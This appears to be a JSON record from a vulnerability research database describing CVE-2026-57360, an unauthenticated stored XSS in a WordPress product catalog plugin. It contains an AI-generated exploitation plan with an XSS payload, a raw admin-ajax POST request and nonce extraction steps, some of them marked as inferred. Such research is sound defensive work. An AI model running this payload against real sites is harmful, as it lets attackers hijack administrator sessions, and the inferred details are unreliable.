[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fecsIheW_hi5RxovPDupEIFAzAirOPuW5OvXOrmvkImM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":37},"CVE-2026-57360","ecommerce-product-catalog-plugin-for-wordpress-unauthenticated-stored-cross-site-scripting","eCommerce Product Catalog Plugin for WordPress \u003C= 3.5.4 - Unauthenticated Stored Cross-Site Scripting","The eCommerce Product Catalog Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.5.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","ecommerce-product-catalog",null,"\u003C=3.5.4","3.5.5","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-01 00:00:00","2026-07-07 19:44:49",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff8786695-adab-4d7c-8cc1-53f37c06de12?source=api-prod",7,[22,23,24,25,26,27,28,29],"ecommerce-product-catalog.php","functions\u002Factivation.php","includes\u002Fsettings\u002Fsettings-functions.php","includes\u002Fsystem.php","modules\u002Fcart\u002Fincludes\u002Forders\u002Fincludes\u002Fregister-digital-orders.php","modules\u002Fcart\u002Fincludes\u002Forders\u002Fincludes\u002Fsave-order.php","modules\u002Fcart\u002Fincludes\u002Forders\u002Fincludes\u002Fverify-payment.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-57360\n\n## 1. Vulnerability Summary\n**CVE-2026-57360** is an unauthenticated stored cross-site scripting (XSS) vulnerability in the **eCommerce Product Catalog Plugin for WordPress (\u003C= 3.5.4)**. The vulnerability exists due to insufficient sanitization and output escaping of order-related metadata (such as customer details or custom form fields) submitted via the \"Request a Quote\" or \"Checkout\" forms. When an unauthenticated visitor submits a quote or order, the malicious payload is stored in the database as post meta for the `al_digital_orders` post type. The payload executes when an administrator views the order details in the WordPress back-end.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `wp-admin\u002Fadmin-ajax.php` (for form submission) or the front-end page containing the catalog\u002Fcheckout shortcode.\n- **Hook:** Likely `wp_ajax_nopriv_ic_formbuilder_submit` or a similar unauthenticated AJAX action used by the plugin's internal form builder.\n- **Vulnerable Parameter:** Fields within the `$_POST` array associated with customer details (e.g., `ic_formbuilder_fields[...]`).\n- **Authentication:** Unauthenticated.\n- **Preconditions:** The \"Request a Quote\" or \"Cart\u002FCheckout\" functionality must be enabled (which is the default behavior of the plugin).\n\n## 3. Code Flow\n1. **Entry Point:** An unauthenticated user submits a form on the front-end (e.g., a quote request).\n2. **Processing:** The request is handled by the plugin's form builder. In `modules\u002Fcart\u002Fincludes\u002Forders\u002Fincludes\u002Fsave-order.php`, the `save()` function is triggered via the `ic_formbuilder_before_mail` hook.\n3. **Storage:**\n   - The `save()` function extracts data into `$ic_formbuilder_filled_fields`.\n   - It calls `ic_update_digital_order_status()` (found in `modules\u002Fcart\u002Fincludes\u002Forders\u002Fincludes\u002Fverify-payment.php`).\n   - `ic_update_digital_order_status()` calls `update_post_meta( $order_id, '_payment_details', $payment_details )`, saving the raw unsanitized input into the database.\n4. **Sink:**\n   - An administrator navigates to **Products > Orders** and views the malicious order.\n   - The `details()` function in `modules\u002Fcart\u002Fincludes\u002Forders\u002Fincludes\u002Fregister-digital-orders.php` (Line 139) renders the metadata.\n   - The plugin iterates through the `$payment_details` array and echoes the keys and values. If custom fields are used, they are often echoed without `esc_html()` or `esc_attr()`, triggering the XSS.\n\n## 4. Nonce Acquisition Strategy\nThe form builder requires a nonce for unauthenticated submission. This nonce is typically localized to a JavaScript variable on the product listing or checkout page.\n\n1. **Identify Page:** Locate the page where products are listed (default slug: `products` or `product-catalog`).\n2. **Create Test Page:**\n   ```bash\n   wp post create --post_type=page --post_title=\"Exploit Test\" --post_status=publish --post_content='[show_products]'\n   ```\n3. **Extract Nonce:**\n   - Navigate to the \"Exploit Test\" page.\n   - Use `browser_eval` to find the localized variable. Based on common patterns in this plugin, check for `ic_ajax_object` or `epc_vars`.\n   - **Command:** `browser_eval(\"window.ic_ajax_object?.nonce || window.epc_vars?.nonce\")` (inferred).\n\n## 5. Exploitation Strategy\n1. **Setup:** Ensure a product exists and is available for a quote.\n2. **Request:** Submit an unauthenticated AJAX request to simulate a form submission.\n3. **Payload:**\n   ```json\n   {\n     \"action\": \"ic_formbuilder_submit\",\n     \"nonce\": \"[EXTRACTED_NONCE]\",\n     \"ic_formbuilder_fields[Customer Name]\": \"\u003Cscript>alert('CVE-2026-57360')\u003C\u002Fscript>\",\n     \"ic_formbuilder_fields[Email]\": \"attacker@example.com\",\n     \"pre_name\": \"cart_\"\n   }\n   ```\n4. **HTTP Request:**\n   - **Method:** POST\n   - **URL:** `http:\u002F\u002F[TARGET]\u002Fwp-admin\u002Fadmin-ajax.php`\n   - **Content-Type:** `application\u002Fx-www-form-urlencoded`\n   - **Body:** `action=ic_formbuilder_submit&nonce=[NONCE]&ic_formbuilder_fields[Customer%20Name]=%3Cscript%3Ealert(%27CVE-2026-57360%27)%3C\u002Fscript%3E&pre_name=cart_`\n\n## 6. Test Data Setup\n1. **Create Sample Product:**\n   ```bash\n   wp post create --post_type=al_product --post_title=\"XSS Trigger Product\" --post_status=publish\n   ```\n2. **Enable Quote Functionality:** Ensure `product_archive_page_id` is set (usually handled by activation).\n3. **Ensure Order Menu Exists:** The plugin registers `al_digital_orders`. Ensure the admin user has `manage_product_settings` capability (default for Administrators).\n\n## 7. Expected Results\n- The AJAX request should return a success message (e.g., `{\"success\":true}`).\n- A new post of type `al_digital_orders` will be created in the database.\n- When an administrator logs into `\u002Fwp-admin\u002Fedit.php?post_type=al_digital_orders` and clicks \"Edit\" on the latest order, an alert box with \"CVE-2026-57360\" will appear.\n\n## 8. Verification Steps\n1. **Check Database:** Verify the payload is stored in post meta.\n   ```bash\n   wp post list --post_type=al_digital_orders --fields=ID,post_title\n   # Get the ID of the latest order\n   wp post meta get [ORDER_ID] _payment_details\n   ```\n2. **Verify Rendering:** Use `http_request` as an administrator to fetch the order edit page and check for the raw payload.\n   ```bash\n   # Use the agent's browser tool to navigate to the order edit page\n   # Verify that the \u003Cscript> tag is present in the HTML response without being escaped to <script>\n   ```\n\n## 9. Alternative Approaches\n- **Shortcode XSS:** If the `[customer-orders]` shortcode is used (Line 35 of `save-order.php`), the XSS may also trigger on the front-end for the user who submitted the order if they are logged in or if the plugin allows tracking orders via a session ID.\n- **Shipping Label Injection:** Inject the payload into the shipping cost calculation if a custom shipping plugin is active, as `$shipping_summary['labels']` is echoed raw in `shipping_summary()` (Line 110 of `save-order.php`).","gemini-3-flash-preview","2026-07-25 11:54:09","2026-07-25 11:55:40",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","3.5.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fecommerce-product-catalog\u002Ftags\u002F3.5.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fecommerce-product-catalog.3.5.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fecommerce-product-catalog\u002Ftags\u002F3.5.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fecommerce-product-catalog.3.5.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fecommerce-product-catalog\u002Ftags"]